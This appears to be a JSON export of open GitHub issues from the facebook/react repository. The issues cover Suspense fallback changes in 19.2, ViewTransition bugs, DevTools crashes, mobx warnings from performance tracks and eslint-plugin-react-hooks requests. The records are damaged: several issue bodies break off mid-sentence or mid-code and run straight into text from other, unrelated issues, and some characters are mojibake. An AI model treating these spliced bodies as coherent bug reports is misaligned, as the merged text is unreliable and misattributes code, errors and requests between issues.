"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "\n\nReact version: 19.2.x\n\n## Steps To Reproduce\n\nSee https://github.com/mobxjs/mobx/issues/4607\n\nThe new component performance track causes side-effects (warnings) with mobx since the component performance tracks does a (deep) comparison of component properties.\nThis happens outside of a mobx reaction which causes the warning.\n\n\n\nLink to code example:\nReact 19.2.3 (warnings): https://codesandbox.io/p/sandbox/component-performace-tracks-mobx-warnings-c8wkwy\nReact 19.1.4 (no warnings): https://codesandbox.io/p/sandbox/component-performace-tracks-no-warnings-ttx7gt\n\n\n\n## The current behavior\nWarnings logged since keys & values of component properties are enumerated in performance tracks, e.g.:\n`[mobx] Observable 'someProp' being read outside a reactive context.`\n\n## The expected behavior\nNo side effects -> no warnings.\n\nPossible options:\nOption 1: A way to disable component performance tracks\nOption 2: No deep enumeration of property keys and values?",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35475/reactions",
"total_count": 4,
"+1": 4,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35464",
"id": 3791936575,
"node_id": "I_kwDOAJy2Ks7iBFw_",
"number": 35464,
"title": "stale bot closed issue over christmas period",
"user": {
"login": "ImLunaHey",
"id": 105922175,
"node_id": "U_kgDOBlA-fw",
"avatar_url": "https://avatars.githubusercontent.com/u/105922175?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/ImLunaHey",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 2,
"created_at": "2026-01-08T08:35:19Z",
"updated_at": "2026-01-13T09:09:25Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "https://github.com/facebook/react/issues/33021#issuecomment-3114038850 was closed during the christmas holidays. the stale bot does more harm than good and should really be removed from this repo.",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35464/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35460",
"id": 3788588210,
"node_id": "I_kwDOAJy2Ks7h0USy",
"number": 35460,
"title": "Bug: In React 19.2 Suspense renders fallback instead of children if children are too big",
"user": {
"login": "yoksel",
"id": 2571308,
"node_id": "MDQ6VXNlcjI1NzEzMDg=",
"avatar_url": "https://avatars.githubusercontent.com/u/2571308?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/yoksel",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2026-01-07T12:36:45Z",
"updated_at": "2026-01-11T21:43:28Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "We use `Suspense` component in NextJs project to catch server side errors in components and to prevent ruining the whole page as [recommended here](https://react.dev/reference/react/Suspense#providing-a-fallback-for-server-errors-and-client-only-content).\n\nIn React 19.1 `Suspense` just renders children on page rendered on server side without JS. So if user without JS opens page, he gets regular page with the content.\n\nIn React 19.2 `Suspense` renders fallback and never renders children on page rendered on server side without JS. So now if user without JS opens page, he gets blank page. \n\nIt seems like `Suspense` does not render children if they are too big while it works fine for smaller children.\n\nWe are relying on `Suspense` behaviour from React 19.1 to keep page content accessible to non-JS users so we would like to know if new `Suspense` behaviour is standard now? If yes, if there any recommended way to capture server side rendering errors like `Suspense` does?\n\n\n\nReact version: 19.2.3\n\n## Steps To Reproduce\n\n1. Run this project locally https://github.com/yoksel/suspense-issue and open it in browser\n2. Switch off JS and reload the page to see the result of server side rendering\n3. Check the first demo and see that `Suspense` shows fallback instead of children if the children are too big.\n4. Check the second demo and see that `Suspense` shows children if the children are small.\n\n\n\nLink to code example:\n\nhttps://github.com/yoksel/suspense-issue\n\n
\n\n\n\n## The current behavior\n\n\nWhen children are too big, `Suspense` renders fallback instead on page without JS even if there is no server errors in component\n\n\n## The expected behavior\n\n`Suspense` renders children if there is no server errors in component on page without JS\n",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35460/reactions",
"total_count": 3,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 3,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35454",
"id": 3785234967,
"node_id": "I_kwDOAJy2Ks7hnhoX",
"number": 35454,
"title": "Bug: ViewTransition is not working in rtl",
"user": {
"login": "istarkov",
"id": 5077042,
"node_id": "MDQ6VXNlcjUwNzcwNDI=",
"avatar_url": "https://avatars.githubusercontent.com/u/5077042?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/istarkov",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2026-01-06T13:56:08Z",
"updated_at": "2026-01-06T13:56:08Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "That looks strange \n\nhttps://github.com/vercel/next.js/issues/87773\n\nI see transitions in animate debug panel, but visually is nothing happens",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35454/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35447",
"id": 3781970267,
"node_id": "I_kwDOAJy2Ks7hbElb",
"number": 35447,
"title": "Bug: ViewTransition can't be isolated",
"user": {
"login": "istarkov",
"id": 5077042,
"node_id": "MDQ6VXNlcjUwNzcwNDI=",
"avatar_url": "https://avatars.githubusercontent.com/u/5077042?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/istarkov",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2026-01-05T15:49:12Z",
"updated_at": "2026-01-05T16:53:35Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "React version:\n \"react\": \"19.2.3\",\n \"react-dom\": \"19.2.3\",\n\n## Steps To Reproduce\n\nI have a Dialog wrapped with ViewTransition. Inside the dialog Iâm using the Streamdown library.\n\nStreamdown updates its blocks using startTransition. As a result, view transitions keep triggering while Streamdown is streaming.\n\nIt seems like thereâs no way to isolate part of the tree so that startTransition inside the dialog doesnât trigger transitions outside of it.\n\nI canât disable ViewTransition on the dialog during streaming, because the dialog needs the close animation.\n\nI think view transitions must be executed somehow explicitly and not via startTransition itself.\nOr I need a way like \n```\n
\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n7.0.1-3cde211b0c\n\n### Error message (automated)\n\nCommit tree already contains fiber \"536\". This is a bug in React DevTools.\n\n### Error call stack (automated)\n\n```text\nat updateTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:699600)\n at getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:698832)\n at $e.getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:703384)\n at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005870)\n at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66940)\n at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:97513)\n at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:111594)\n at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184246)\n at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184102)\n at renderRootSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:183886)\n```\n\n### Error component stack (automated)\n\n```text\nat CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005671)\n at div (
Hello, World!
\n );\n };\n\n // const date = Intl.DateTimeFormat().format(new Date());\n\n return (\n <>\n \n\n## The expected behavior\n
",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/35283/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/35276",
"id": 3690531416,
"node_id": "I_kwDOAJy2Ks7b-QpY",
"number": 35276,
"title": "Bug: react-hooks/set-state-in-effect: false-positive with ternary",
"user": {
"login": "silverwind",
"id": 115237,
"node_id": "MDQ6VXNlcjExNTIzNw==",
"avatar_url": "https://avatars.githubusercontent.com/u/115237?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/silverwind",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 155984160,
"node_id": "MDU6TGFiZWwxNTU5ODQxNjA=",
"url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed",
"name": "Status: Unconfirmed",
"color": "d4c5f9",
"default": false,
"description": "A potential issue that we haven't yet confirmed as a bug"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 7,
"created_at": "2025-12-03T14:40:30Z",
"updated_at": "2025-12-15T13:58:50Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "React version: [email protected], [email protected]\n\n## Steps To Reproduce\n\n```tsx\nfunction getWidth(el: HTMLElement) {\n return el.clientWidth;\n}\n\nfunction Component({value}: {value: string}) {\n const [width, setWidth] = useState(0);\n const ref = useRef
title
\n title
\n\n {filteredItems.map(item =>
\n {title}
\r\n \r\n {children}\r\n (value: S): (() => S) => {\r\n const ref = useRef(value);\r\n useIsomorphicLayoutEffect(() => {\r\n ref.current = value;\r\n });\r\n return useCallback(() => ref.current, [ref]);\r\n};\r\n```\r\n(including important community projects like [react-navigation-hooks](https://github.com/react-navigation/hooks/blob/master/src/Hooks.ts#L46))\r\n\r\n## Is it a strategy to teach users?\r\n\r\nIs it a choice of the React team to not ship safer abstractions officially and make sure the users hit the closure problem early and get familiar with it? \r\n\r\nBecause anyway, even when using getters, we still can't prevent the user to capture some value. This has been documented by @sebmarkbage [here](https://gist.github.com/sebmarkbage/a5ef436427437a98408672108df01919) with async code, even with a getter, we can't prevent the user to do things like:\r\n\r\n```tsx\r\nonMount(async () => {\r\n let isEligible = getIsEligible();\r\n let data = await fetch(...);\r\n // at this point, isEligible might has changed: we should rather use `getIsEligible()` again instead of storing a boolean in the closure (might depend on the usecase though, but maybe we can imagine isEligible => isMounted)\r\n if (isEligible) {\r\n doStuff(data);\r\n }\r\n});\r\n``` \r\nAs far as I understand, this might be the case:\r\n\r\n> So you can easily get into the same situation even with a mutable source value. React just makes you always deal with it so that you don't get too far down the road before you have to refactor you code to deal with these cases anyway. I'm really glad how well the React community has dealt with this since the release of hooks because it really sets us up to predictably deal with more complex scenario and for doing more things in the future.\r\n\r\n\r\n## A concrete problem\r\n\r\nA react-navigation-hooks user reported that his effect run too much, using the following code:\r\n\r\n\r\n\r\nIn practice, this is because react-navigation core does not provide stable `navigate` function, and thus the hooks too. The core does not necessarily want to \"stabilize\" the navigate function and guarantee that contract in its API.\r\n\r\nIt's not clear to me what should I do, between officially stabilizing the `navigate` function in the hooks project (relying on core, so core can still return distinct navigate functions), or if I should ask the user to stabilize the function himself in userland, leading to pain and boilerplate for many users trying to use the API.\r\n\r\nI don't understand why you can't simply dissociate the closure dependencies to the effect's triggering, and simply omitting the `navigate` function here:\r\n\r\n\r\n\r\n\r\nWhat bothers me is that somehow as hooks lib authors we now have to think about whether what we return to the user is stable or not, ie safe to use in an effect dependency array without unwanted effect re-executions.\r\n\r\nReturning a stable value in v1 and unstable in v2 is a breaking change that might break users apps in nasty ways, and we have to document this too in our api doc, or ask the user to not trust us, and do the memoization work themselves, which is quite error prone and verbose. Now as lib authors we have to think not only about the inputs/outputs, but also about preserving identities or not (it's probably not a new problem, because we already need to in userland for optimisations anyway).\r\n\r\nAsking users to do this memoization themselves is error prone and verbose. And intuitively some people will maybe want to `useMemo` (just because of the naming) which actually can tricks them by not offering the same guarantees than `useCallback`.\r\n\r\n\r\n## A tradeoff between different usecases in the name of a consistent API?\r\n\r\n@satya164 also mentionned that there are also usecases where the [ESLint plugin saved him](https://twitter.com/satya164/status/1178395620236759043) more than once because he forgot some dependency, and for him, it's more easy to fix an effect re-executing too much than to find out about some cached value not updating. \r\n\r\nI see how the ESLint plugin is really handy for usecases such as building a stable object to optimize renders or provide a stable context value. \r\n\r\nBut for useEffect, when capturing functions, sometimes executing 2 functions with distinct identities actually lead to the same result. Having to add those functions to dependencies is quite annoying in such case. \r\n\r\nBut I totally understand we want to guarantee some kind of consistency across all hooks API.\r\n\r\n## Conclusion\r\n\r\nI try to understand some of the tradeoffs being made in the API. Not sure to understand yet the whole picture, and I'm probably not alone. \r\n\r\n@gaearon said to open an issue with a comment: `It's more nuanced`. I'm here to discuss all the nuances if possible :)\r\n\r\nWhat particularly bothers me currently is not necessarily the existing API. It's rather:\r\n- the dogmatism of absolutely wanting to conform the ESLint rules (for which I don't agree with for all usecases). Currently I think users are really afraid to not follow the rules.\r\n- the lack of official patterns on how we are supposed to handle some specific hooks cases. And I think the \"getter\" pattern should be a thing that every hooks users know about and learn very early. Eventually adding such pattern in core would make it even more visible. Currently it's more lib authors and tech leads that all find out about this pattern in userland with small implementation variations.\r\n\r\nThose are the solutions that I think of. As I said I may miss something important and may change my opinions according to the answers.\r\n\r\nAs an author of a few React libs, I feel a bit frustrated to not be 100% sure what kind of API contract I should offer to my lib's users. I'm also not sure about the hooks patterns I can recommend or not. I plan to open-source something soon but don't even know if that's a good idea, and if it goes in the direction the React team want to go with hooks.\r\n\r\nThanks\r\n\r\n\r\n",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16956/reactions",
"total_count": 169,
"+1": 134,
"-1": 0,
"laugh": 0,
"hooray": 9,
"confused": 0,
"heart": 9,
"rocket": 4,
"eyes": 13
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16873",
"id": 497635505,
"node_id": "MDU6SXNzdWU0OTc2MzU1MDU=",
"number": 16873,
"title": "[eslint-plugin-react-hooks] allow configuring custom hooks as \"static\"",
"user": {
"login": "grncdr",
"id": 82634,
"node_id": "MDQ6VXNlcjgyNjM0",
"avatar_url": "https://avatars.githubusercontent.com/u/82634?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/grncdr",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929153,
"node_id": "MDU6TGFiZWw0MDkyOTE1Mw==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement",
"name": "Type: Enhancement",
"color": "84b6eb",
"default": false,
"description": null
},
"1": {
"id": 1249821345,
"node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules",
"name": "Component: ESLint Rules",
"color": "f7afdb",
"default": false,
"description": ""
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 69,
"created_at": "2019-09-24T11:45:13Z",
"updated_at": "2025-05-16T01:25:14Z",
"closed_at": null,
"assignee": null,
"author_association": "NONE",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?**\r\n\r\nFeature/enhancement\r\n\r\n**What is the current behavior?**\r\n\r\nCurrently the eslint plugin is unable to understand when the **return value** of a custom hook is static.\r\n\r\nExample:\r\n\r\n```jsx\r\nimport React from 'react'\r\n\r\nfunction useToggle(init = false) {\r\n const [state, setState] = React.useState(init)\r\n const toggleState = React.useCallback(() => { setState(v => !v) }, [])\r\n return [state, toggleState]\r\n}\r\n\r\nfunction MyComponent({someProp}) {\r\n const [enabled, toggleEnabled] = useToggle()\r\n\r\n const handler = React.useCallback(() => {\r\n toggleEnabled()\r\n doSomethingWithTheProp(someProp)\r\n }, [someProp]) // exhaustive-deps warning for toggleEnabled\r\n\r\n return \r\n}\r\n```\r\n\r\n**What is the expected behavior?**\r\n\r\nI would like to configure `eslint-plugin-react-hooks` to tell it that `toggleEnabled` is static and doesn't need to be included in a dependency array. This isn't a huge deal but more of an ergonomic papercut that discourages writing/using custom hooks.\r\n\r\nAs for how/where to configure it, I would be happy to add something like this to my .eslintrc:\r\n\r\n```js\r\n{\r\n \"staticHooks\": {\r\n \"useToggle\": [false, true], // first return value is not stable, second is\r\n \"useForm\": true, // entire return value is stable \r\n }\r\n}\r\n```\r\n\r\nThen the plugin could have an additional check [after these 2 checks](https://github.com/facebook/react/blob/8b580a89d6dbbde8a3ed69475899addef1751116/packages/eslint-plugin-react-hooks/src/ExhaustiveDeps.js#L228-L231) that tests for custom names.\r\n\r\n**Which versions of React, and which browser / OS are affected by this issue? Did this work in previous versions of React?**\r\n\r\nAll versions of eslint-plugin-react-hooks have the same deficiency.\r\n\r\n## Please read my first comment below and try my fork if you are interested in this feature!",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16873/reactions",
"total_count": 177,
"+1": 166,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 11,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16606",
"id": 486744596,
"node_id": "MDU6SXNzdWU0ODY3NDQ1OTY=",
"number": 16606,
"title": "TypeError: \"'requestAnimationFrame' called on an object that does not implement interface Window.\"",
"user": {
"login": "Jack-Works",
"id": 5390719,
"node_id": "MDQ6VXNlcjUzOTA3MTk=",
"avatar_url": "https://avatars.githubusercontent.com/u/5390719?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/Jack-Works",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 1155972012,
"node_id": "MDU6TGFiZWwxMTU1OTcyMDEy",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Scheduler",
"name": "Component: Scheduler",
"color": "9de8f9",
"default": false,
"description": ""
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 6,
"created_at": "2019-08-29T05:25:38Z",
"updated_at": "2019-08-31T01:25:21Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "\r\n\r\n**Do you want to request a *feature* or report a *bug*?** **Bug**\r\n\r\n**What is the current behavior?**\r\nTypeError: \"'requestAnimationFrame' called on an object that does not implement interface Window.\"\r\n\r\n**If the current behavior is a bug, please provide the steps to reproduce and if possible a minimal demo of the problem. Your bug will get fixed much faster if we can run your code and it doesn't have dependencies other than React. Paste the link to your JSFiddle (https://jsfiddle.net/Luktwrdm/) or CodeSandbox (https://codesandbox.io/s/new) example below:**\r\n\r\nhttps://github.com/facebook/react/blob/0f6e3cd61cf4a5a1491bb3c92780936aebc2a146/packages/scheduler/src/forks/SchedulerHostConfig.default.js#L88\r\n\r\nIn the WebExtension content script, globalThis !== window.\r\nSo when `const requestAnimationFrame = window.requestAnimationFrame`, the `this` binding of `rAF` is lost.\r\n\r\nIn the after calling, `rAF` rebinds to the globalThis, but globalThis doesn't implements Window interface.\r\n\r\nPoC: Install this extension in the Firefox and you will see the error reported.\r\n```index.js\r\ntry {\r\n const raf = window.requestAnimationFrame\r\n raf(() => console.log('Okay.'))\r\n} catch (e) {\r\n console.warn(e)\r\n}\r\n```\r\n\r\n```manifest.json\r\n{\r\n \"name\": \"rAF in content script test\",\r\n \"version\": \"0.0.1\",\r\n \"manifest_version\": 2,\r\n \"content_scripts\": [{ \"js\": [\"/index.js\"], \"matches\": [\"
\r\n\r\n~~If I **inspect background page**, I see this:~~ (fixed by #229)\r\n\r\n
\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/217",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16495/reactions",
"total_count": 3,
"+1": 3,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16494",
"id": 482557333,
"node_id": "MDU6SXNzdWU0ODI1NTczMzM=",
"number": 16494,
"title": "DevTools: Audit places where we change tags or disconnect alternates in React",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"1": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2019-08-19T22:26:58Z",
"updated_at": "2020-01-08T19:10:09Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "Cases like https://github.com/bvaughn/react-devtools-experimental/issues/197 (where a dehydrated Suspense node turns into a regular one) produce confusing failures because we expect Fiber alternates to be \"for life\", whereas in practice they can actually get disconnected by React in some cases. (Search for \"Disconnect\" in ReactFiberBeginWork.)\r\n\r\nAdditionally, I think changing `tag` can also produce confusing failures if it changes from a value that was filtered out, to a value that is not filtered out.\r\n\r\nWe need to be more proactive about handling these cases when we make such changes to React, and we need to look at existing cases where this happens and whether we can handle them.\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/198",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16494/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16490",
"id": 482556957,
"node_id": "MDU6SXNzdWU0ODI1NTY5NTc=",
"number": 16490,
"title": "DevTools: Check if accessibility regressions exist compared to old DevTools",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"1": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
"url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team",
"name": "React Core Team",
"color": "9149d1",
"default": false,
"description": "Opened by a member of the React Core Team"
}
},
"state": "open",
"locked": false,
"assignees": {},
"milestone": null,
"comments": 0,
"created_at": "2019-08-19T22:25:36Z",
"updated_at": "2020-01-08T19:11:00Z",
"closed_at": null,
"assignee": null,
"author_association": "CONTRIBUTOR",
"type": null,
"active_lock_reason": null,
"sub_issues_summary": {
"total": 0,
"completed": 0,
"percent_completed": 0
},
"issue_dependencies_summary": {
"blocked_by": 0,
"total_blocked_by": 0,
"blocking": 0,
"total_blocking": 0
},
"body": "Before this becomes stable, we need to check if we are regressing accessibility on any important existing interactions.\r\n\r\nAt least, we should probably make the tree view focusable.\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/52",
"closed_by": null,
"reactions": {
"url": "https://api.github.com/repos/facebook/react/issues/16490/reactions",
"total_count": 0,
"+1": 0,
"-1": 0,
"laugh": 0,
"hooray": 0,
"confused": 0,
"heart": 0,
"rocket": 0,
"eyes": 0
},
"performed_via_github_app": null,
"state_reason": null,
"pinned_comment": null,
"linked_prs": []
},
{
"url": "https://api.github.com/repos/facebook/react/issues/16488",
"id": 482556701,
"node_id": "MDU6SXNzdWU0ODI1NTY3MDE=",
"number": 16488,
"title": "DevTools: Re-enable postMessage transferable for faster ArrayBuffer transfers",
"user": {
"login": "bvaughn",
"id": 29597,
"node_id": "MDQ6VXNlcjI5NTk3",
"avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4",
"gravatar_id": "",
"url": "https://api.github.com/users/bvaughn",
"type": "User",
"user_view_type": "public",
"site_admin": false
},
"labels": {
"0": {
"id": 40929151,
"node_id": "MDU6TGFiZWw0MDkyOTE1MQ==",
"url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug",
"name": "Type: Bug",
"color": "b60205",
"default": false,
"description": null
},
"1": {
"id": 710573595,
"node_id": "MDU6TGFiZWw3MTA1NzM1OTU=",
"url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools",
"name": "Component: Developer Tools",
"color": "fbca04",
"default": false,
"description": null
},
"2": {
"id": 1775958285,
"node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1",
